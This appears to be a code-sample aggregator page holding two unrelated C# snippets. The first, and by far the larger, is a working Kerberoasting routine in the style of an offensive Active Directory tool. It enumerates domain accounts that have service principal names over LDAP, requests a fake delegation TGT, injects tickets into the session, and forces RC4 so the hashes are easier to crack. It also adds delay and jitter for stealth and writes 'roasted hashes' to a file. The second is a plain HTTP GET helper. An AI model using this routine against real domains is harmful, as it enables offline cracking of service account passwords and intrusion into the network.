Пример #1
0
        public static void Kerberoast(string spn = "", List <string> spns = null, string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, int delay = 0, int jitter = 0, bool userStats = false, bool enterprise = false, bool autoenterprise = false)
        {
            if (userStats)
            {
                Console.WriteLine("[*] Listing statistics about target users, no ticket requests being performed.");
            }
            else if (TGT != null)
            {
                Console.WriteLine("[*] Using a TGT /ticket to request service tickets");
            }
            else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec"))
            {
                Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user");
                byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false);
                TGT = new KRB_CRED(delegTGTbytes);
                Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else");
            }
            else
            {
                Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts.");
                Console.WriteLine("[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n");
            }

            if ((enterprise) && ((TGT == null) || ((String.IsNullOrEmpty(spn)) && (spns != null) && (spns.Count == 0))))
            {
                Console.WriteLine("[X] To use Enterprise Principals, /spn or /spns has to be specified, along with either /ticket or /tgtdeleg");
                return;
            }

            if (delay != 0)
            {
                Console.WriteLine($"[*] Using a delay of {delay} milliseconds between TGS requests.");
                if (jitter != 0)
                {
                    Console.WriteLine($"[*] Using a jitter of {jitter}% between TGS requests.");
                }
                Console.WriteLine();
            }

            if (!String.IsNullOrEmpty(spn))
            {
                Console.WriteLine("\r\n[*] Target SPN             : {0}", spn);

                if (TGT != null)
                {
                    // if a TGT .kirbi is supplied, use that for the request
                    //      this could be a passed TGT or if TGT delegation is specified
                    GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac);
                }
                else
                {
                    // otherwise use the KerberosRequestorSecurityToken method
                    GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile);
                }
            }
            else if ((spns != null) && (spns.Count != 0))
            {
                foreach (string s in spns)
                {
                    Console.WriteLine("\r\n[*] Target SPN             : {0}", s);

                    if (TGT != null)
                    {
                        // if a TGT .kirbi is supplied, use that for the request
                        //      this could be a passed TGT or if TGT delegation is specified
                        GetTGSRepHash(TGT, s, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac);
                    }
                    else
                    {
                        // otherwise use the KerberosRequestorSecurityToken method
                        GetTGSRepHash(s, "USER", "DISTINGUISHEDNAME", cred, outFile);
                    }
                }
            }
            else
            {
                if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName)))
                {
                    if (!String.IsNullOrEmpty(userName))
                    {
                        if (userName.Contains(","))
                        {
                            Console.WriteLine("[*] Target Users           : {0}", userName);
                        }
                        else
                        {
                            Console.WriteLine("[*] Target User            : {0}", userName);
                        }
                    }
                    if (!String.IsNullOrEmpty(domain))
                    {
                        Console.WriteLine("[*] Target Domain          : {0}", domain);
                    }
                    if (!String.IsNullOrEmpty(OUName))
                    {
                        Console.WriteLine("[*] Target OU              : {0}", OUName);
                    }
                }

                // inject ticket for LDAP search if supplied
                if (TGT != null)
                {
                    byte[] kirbiBytes   = null;
                    string ticketDomain = TGT.enc_part.ticket_info[0].prealm;

                    if (String.IsNullOrEmpty(domain))
                    {
                        // if a domain isn't specified, use the domain from the referral
                        domain = ticketDomain;
                    }

                    // referral TGT is in use, we need a service ticket for LDAP on the DC to perform the domain searcher
                    if (ticketDomain != domain)
                    {
                        if (String.IsNullOrEmpty(dc))
                        {
                            dc = Networking.GetDCName(domain);
                        }

                        string             tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0];
                        Ticket             ticket      = TGT.tickets[0];
                        byte[]             clientKey   = TGT.enc_part.ticket_info[0].key.keyvalue;
                        Interop.KERB_ETYPE etype       = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype;

                        // check if we've been given an IP for the DC, we'll need the name for the LDAP service ticket
                        Match match = Regex.Match(dc, @"([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4}|(\d{1,3}\.){3}\d{1,3}");
                        if (match.Success)
                        {
                            System.Net.IPAddress   dcIP   = System.Net.IPAddress.Parse(dc);
                            System.Net.IPHostEntry dcInfo = System.Net.Dns.GetHostEntry(dcIP);
                            dc = dcInfo.HostName;
                        }

                        // request a service tickt for LDAP on the target DC
                        kirbiBytes = Ask.TGS(tgtUserName, ticketDomain, ticket, clientKey, etype, string.Format("ldap/{0}", dc), etype, null, false, dc, false, enterprise, false);
                    }
                    // otherwise inject the TGT to perform the domain searcher
                    else
                    {
                        kirbiBytes = TGT.Encode().Encode();
                    }
                    LSA.ImportTicket(kirbiBytes, new LUID());
                }

                DirectoryEntry    directoryObject = null;
                DirectorySearcher userSearcher    = null;

                try
                {
                    directoryObject = Networking.GetLdapSearchRoot(cred, OUName, dc, domain);
                    userSearcher    = new DirectorySearcher(directoryObject);
                    // enable LDAP paged search to get all results, by pages of 1000 items
                    userSearcher.PageSize = 1000;
                }
                catch (Exception ex)
                {
                    if (ex.InnerException != null)
                    {
                        Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message);
                    }
                    return;
                }

                // check to ensure that the bind worked correctly
                try
                {
                    string dirPath = directoryObject.Path;
                    if (String.IsNullOrEmpty(dirPath))
                    {
                        Console.WriteLine("[*] Searching the current domain for Kerberoastable users");
                    }
                    else
                    {
                        Console.WriteLine("[*] Searching path '{0}' for Kerberoastable users", dirPath);
                    }
                }
                catch (DirectoryServicesCOMException ex)
                {
                    if (!String.IsNullOrEmpty(OUName))
                    {
                        Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message);
                    }
                    return;
                }

                try
                {
                    string userFilter = "";

                    if (!String.IsNullOrEmpty(userName))
                    {
                        if (userName.Contains(","))
                        {
                            // searching for multiple specified users, ensuring they're not disabled accounts
                            string userPart = "";
                            foreach (string user in userName.Split(','))
                            {
                                userPart += String.Format("(samAccountName={0})", user);
                            }
                            userFilter = String.Format("(&(|{0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", userPart);
                        }
                        else
                        {
                            // searching for a specified user, ensuring it's not a disabled account
                            userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName);
                        }
                    }
                    else
                    {
                        // if no user specified, filter out the krbtgt account and disabled accounts
                        userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))";
                    }

                    string encFilter = "";
                    if (String.Equals(supportedEType, "rc4opsec"))
                    {
                        // "opsec" RC4, meaning don't RC4 roast accounts that support AES
                        Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES");
                        encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
                    }
                    else if (String.Equals(supportedEType, "aes"))
                    {
                        // msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 ->  supported etypes includes AES128/256
                        Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96");
                        encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
                    }

                    // Note: I originally thought that if enctypes included AES but DIDN'T include RC4,
                    //       then RC4 tickets would NOT be returned, so the original filter was:
                    //  !msds-supportedencryptiontypes=*                        ->  null supported etypes, so RC4
                    //  msds-supportedencryptiontypes=0                         ->  no supported etypes specified, so RC4
                    //  msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 ->  supported etypes includes RC4
                    //  userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))";

                    //  But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯
                    //      so this fine-grained filtering is not needed

                    string userSearchFilter = "";
                    if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore)))
                    {
                        if (String.IsNullOrEmpty(pwdSetAfter))
                        {
                            pwdSetAfter = "01-01-1601";
                        }
                        if (String.IsNullOrEmpty(pwdSetBefore))
                        {
                            pwdSetBefore = "01-01-2100";
                        }

                        Console.WriteLine("[*] Searching for accounts with lastpwdset from {0} to {1}", pwdSetAfter, pwdSetBefore);

                        try
                        {
                            DateTime timeFromConverted  = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null);
                            DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null);
                            string   timePeriod         = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")";
                            userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod);
                        }
                        catch
                        {
                            Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'");
                            return;
                        }
                    }
                    else
                    {
                        userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter);
                    }

                    if (!String.IsNullOrEmpty(ldapFilter))
                    {
                        userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter);
                    }

                    userSearcher.Filter = userSearchFilter;
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message);
                    return;
                }

                try
                {
                    if (resultLimit > 0)
                    {
                        userSearcher.SizeLimit = resultLimit;
                        Console.WriteLine("[*] Up to {0} result(s) will be returned", resultLimit.ToString());
                    }

                    SearchResultCollection users = userSearcher.FindAll();

                    if (users.Count == 0)
                    {
                        Console.WriteLine("\r\n[X] No users found to Kerberoast!");
                    }
                    else
                    {
                        Console.WriteLine("\r\n[*] Total kerberoastable users : {0}\r\n", users.Count);
                    }

                    // used to keep track of user encryption types
                    SortedDictionary <Interop.SUPPORTED_ETYPE, int> userETypes = new SortedDictionary <Interop.SUPPORTED_ETYPE, int>();
                    // used to keep track of years that users had passwords last set in
                    SortedDictionary <int, int> userPWDsetYears = new SortedDictionary <int, int>();

                    foreach (SearchResult user in users)
                    {
                        string samAccountName       = user.Properties["samAccountName"][0].ToString();
                        string distinguishedName    = user.Properties["distinguishedName"][0].ToString();
                        string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString();


                        DateTime?pwdLastSet = null;
                        if (user.Properties.Contains("pwdlastset"))
                        {
                            long lastPwdSet = (long)(user.Properties["pwdlastset"][0]);
                            pwdLastSet = DateTime.FromFileTimeUtc(lastPwdSet);
                        }

                        Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0;
                        if (user.Properties.Contains("msDS-SupportedEncryptionTypes"))
                        {
                            supportedETypes = (Interop.SUPPORTED_ETYPE)user.Properties["msDS-SupportedEncryptionTypes"][0];
                        }

                        if (!userETypes.ContainsKey(supportedETypes))
                        {
                            userETypes[supportedETypes] = 1;
                        }
                        else
                        {
                            userETypes[supportedETypes] = userETypes[supportedETypes] + 1;
                        }

                        if (pwdLastSet == null)
                        {
                            // pwdLastSet == null with new accounts and
                            // when a password is set to never expire
                            if (!userPWDsetYears.ContainsKey(-1))
                            {
                                userPWDsetYears[-1] = 1;
                            }
                            else
                            {
                                userPWDsetYears[-1] += 1;
                            }
                        }
                        else
                        {
                            int year = pwdLastSet.Value.Year;
                            if (!userPWDsetYears.ContainsKey(year))
                            {
                                userPWDsetYears[year] = 1;
                            }
                            else
                            {
                                userPWDsetYears[year] += 1;
                            }
                        }

                        if (!userStats)
                        {
                            if (!simpleOutput)
                            {
                                Console.WriteLine("\r\n[*] SamAccountName         : {0}", samAccountName);
                                Console.WriteLine("[*] DistinguishedName      : {0}", distinguishedName);
                                Console.WriteLine("[*] ServicePrincipalName   : {0}", servicePrincipalName);
                                Console.WriteLine("[*] PwdLastSet             : {0}", pwdLastSet);
                                Console.WriteLine("[*] Supported ETypes       : {0}", supportedETypes);
                            }

                            if ((!String.IsNullOrEmpty(domain)) && (TGT == null))
                            {
                                servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain);
                            }
                            if (TGT != null)
                            {
                                // if a TGT .kirbi is supplied, use that for the request
                                //      this could be a passed TGT or if TGT delegation is specified

                                if (String.Equals(supportedEType, "rc4") &&
                                    (
                                        ((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) ||
                                        ((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96)
                                    )
                                    )
                                {
                                    // if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4
                                    bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac);
                                    Helpers.RandomDelayWithJitter(delay, jitter);
                                    if (!result && autoenterprise)
                                    {
                                        Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal");
                                        servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain);
                                        GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc, Interop.KERB_ETYPE.rc4_hmac);
                                        Helpers.RandomDelayWithJitter(delay, jitter);
                                    }
                                }
                                else
                                {
                                    // otherwise don't force RC4 - have all supported encryption types for opsec reasons
                                    bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc);
                                    Helpers.RandomDelayWithJitter(delay, jitter);
                                    if (!result && autoenterprise)
                                    {
                                        Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal");
                                        servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain);
                                        GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc);
                                        Helpers.RandomDelayWithJitter(delay, jitter);
                                    }
                                }
                            }
                            else
                            {
                                // otherwise use the KerberosRequestorSecurityToken method
                                GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput);
                                Helpers.RandomDelayWithJitter(delay, jitter);
                            }
                        }
                    }

                    if (userStats)
                    {
                        var eTypeTable      = new ConsoleTable("Supported Encryption Type", "Count");
                        var pwdLastSetTable = new ConsoleTable("Password Last Set Year", "Count");
                        Console.WriteLine();

                        // display stats about the users found
                        foreach (var item in userETypes)
                        {
                            eTypeTable.AddRow(item.Key.ToString(), item.Value.ToString());
                        }
                        eTypeTable.Write();

                        foreach (var item in userPWDsetYears)
                        {
                            pwdLastSetTable.AddRow(item.Key.ToString(), item.Value.ToString());
                        }
                        pwdLastSetTable.Write();
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex);
                    return;
                }
            }

            if (!String.IsNullOrEmpty(outFile))
            {
                Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile));
            }
        }
Пример #2
0
        public string HttpGet(string url, IDictionary <string, string> queryStrings = null)
        {
            string result = "";

            try
            {
                string fullUrl = url;
                if (queryStrings != null)
                {
                    StringBuilder sb = new StringBuilder();
                    foreach (var query in queryStrings)
                    {
                        if (query.Value != null)
                        {
                            sb.Append(string.Format("&{0}={1}", query.Key, query.Value));
                        }
                    }
                    if (sb.Length > 0)
                    {
                        fullUrl = string.Format("{0}?{1}", url, sb.ToString().Trim('&'));
                    }
                }

                HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(fullUrl);
                request.Method      = Method;
                request.ContentType = ContentType;
                if (!string.IsNullOrEmpty(TGT))
                {
                    if (TGT.Contains("CASTGC"))
                    {
                        request.Headers.Add("Cookie", TGT);
                    }
                    else
                    {
                        request.Headers.Add("TGT", TGT);
                    }
                }

                request.Timeout                      = this.TimeOut;
                request.ReadWriteTimeout             = this.ReadWriteTimeout;
                request.MaximumAutomaticRedirections = 100;
                var response = (HttpWebResponse)request.GetResponse();
                ResponseExceptionBase responseExceptionBase = new ResponseExceptionBase(response.StatusCode);
                if (responseExceptionBase.IsSuccess)
                {
                    using (var stream = response.GetResponseStream())
                    {
                        var resultBuffer = this.GetResponseBuffter(stream);
                        result = ResponseEncoding.GetString(resultBuffer);
                    }
                }
                response.Close();
                if (!responseExceptionBase.IsSuccess)
                {
                    return(null);
                }
            }
            catch (Exception ex)
            {
                throw ex;
            }
            return(result);
        }